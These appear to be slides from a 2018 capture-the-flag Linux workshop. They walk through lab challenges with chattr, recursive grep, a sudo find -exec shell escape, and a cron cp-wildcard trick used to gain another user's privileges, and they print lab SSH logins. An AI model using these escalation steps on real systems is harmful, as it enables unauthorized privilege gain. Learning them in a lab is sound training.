Hax 2018 - Linux Challenges

attrboy

Useful Tools

ssh attrboy@72.36.89.213
password: attrboy

- Man pages, as always
- ps
- lsattr
- chattr
- ssh

ps

useful to see all the running processes

```
NAME
       ps - report a snapshot of the current processes.

SYNOPSIS
       ps [options]

DESCRIPTION
       ps displays information about a selection of the active processes.  If you want a repetitive update of the
       selection and the displayed information, use top(1) instead.
```

To see every process on the system using BSD syntax:

```
ps ax
ps axu
```

```
w       Wide output.  Use this option twice for unlimited width.
```

cron and friends

```
attrboy@attrboylatest_tmp5BM7:~$ ps auxww
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   4628   812 pts/0    Ss+  16:55   0:00 /bin/sh -c chown attrboy:attrboy /flag.txt && chmod 666 /flag.txt && chattr +i /flag.txt && c
ron -f
root        11  0.0  0.0  28356  2684 pts/0    S+   16:55   0:00 cron -f
attrboy     25  0.0  0.0  18508  3420 pts/1    Ss   16:55   0:00 /bin/bash
attrboy     62  0.0  0.0  34400  2908 pts/1    R+   17:02   0:00 ps auxww
attrboy@attrboylatest_tmp5BM7:~$ cat /flag.txt
HAX{this_isn't_the_real_flag}
```

```
attrboy@attrboylatest_tmp5BM7:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * *   root    cat /root/flag.txt > /flag.txt
attrboy@attrboylatest_tmp5BM7:~$ cat /root/flag.txt
cat: /root/flag.txt: Permission denied
```

attr family

```
The letters 'aAcCdDeijPsStTu' select the new attributes for the files: append only (a), no  atime  updates
(A),  compressed  (c), no copy on write (C), no dump (d), synchronous directory updates (D), extent format
(e), immutable (i), data journalling (j), project hierarchy (P), secure deletion (s), synchronous  updates
(S), no tail-merging (t), top of directory hierarchy (T), and undeletable (u).
```

```
attrboy@attrboylatest_tmp5BM7:~$ lsattr /flag.txt
----i---------e--- /flag.txt
attrboy@attrboylatest_tmp5BM7:~$ chattr -i /flag.txt
attrboy@attrboylatest_tmp5BM7:~$ cat /flag.txt
```

Useful Tools

ssh godeep@72.36.89.213
password: godeep

- Man pages, as always
- grep
- ssh

grep

useful to find patterns in files

```
godeep@chal-host:~$ ls
1
godeep@chal-host:~$ ls 1
1  2  I7I7Trb.txt
godeep@chal-host:~$ ls 1/2/
1  2  3  4wL9DDx.txt  I7I7Trb.txt
godeep@chal-host:~$ ls 1/2/3
1  2  3  4  4wL9DDx.txt  I7I7Trb.txt  Q6o9xjv.txt
godeep@chal-host:~$ cat 1/I7I7Trb.txt
godeep@chal-host:~$ cat 1/2/4wL9DDx.txt
```

grep cont.

```
DESCRIPTION
       grep searches for PATTERN in each FILE.  A FILE of “-” stands for standard input.  If
       no FILE is given, recursive searches examine the working directory, and  nonrecursive
       searches read standard input.  By default, grep prints the matching lines.
```

```
-R, --dereference-recursive
       Read all files under each directory, recursively.  Follow all symbolic  links,
       unlike -r.
```

```
godeep@chal-host:~$ grep -hR 'HAX{'  1
```

escalator-1

Useful Tools

ssh escalator@72.36.89.213
password: escalator

- find (check out the man page)
- sudo -l

escalator-1

```
escalator@escalatorlatest_tmpQZDR:~$ sudo -l
Matching Defaults entries for escalator on escalatorlatest_tmpQZDR:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr

User escalator may run the following commands on escalatorlatest_tmpQZDR:
    (escalator-1) NOPASSWD: /usr/bin/find
escalator@escalatorlatest_tmpQZDR:~$ sudo -u escalator-1 find . -exec bash \;
escalator-1@escalatorlatest_tmpQZDR:~$ pwd
/home/escalator
escalator-1@escalatorlatest_tmpQZDR:~$ cat /home/escalator-1/flag.txt
```

two important things here

sudo -l

find -exec

escalator-2

Useful Tools

ssh escalator@72.36.89.213
password: escalator

- crontab
- cp * knowledge
- python setresuid

escalator-2

```
escalator-1@escalatorlatest_tmp4KT3:/source$ cat > mkdirs.sh
for i in `seq 1 105`
do
        mkdir "$i"
        cd "$i"
done
```

```
escalator-1@escalatorlatest_tmpBECJ:/source$ ls -r  1  mkdir.sh
```

here we make cp * recurse

```
escalator-1@escalatorlatest_tmpBECJ:/backup$ find . -type f -exec {} \;
Python 3.6.7 (default, Oct 22 2018, 11:32:17)
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
```

we cp bash & python3

from here, we can setresuid

hax challenges

ctf.sigpwny.com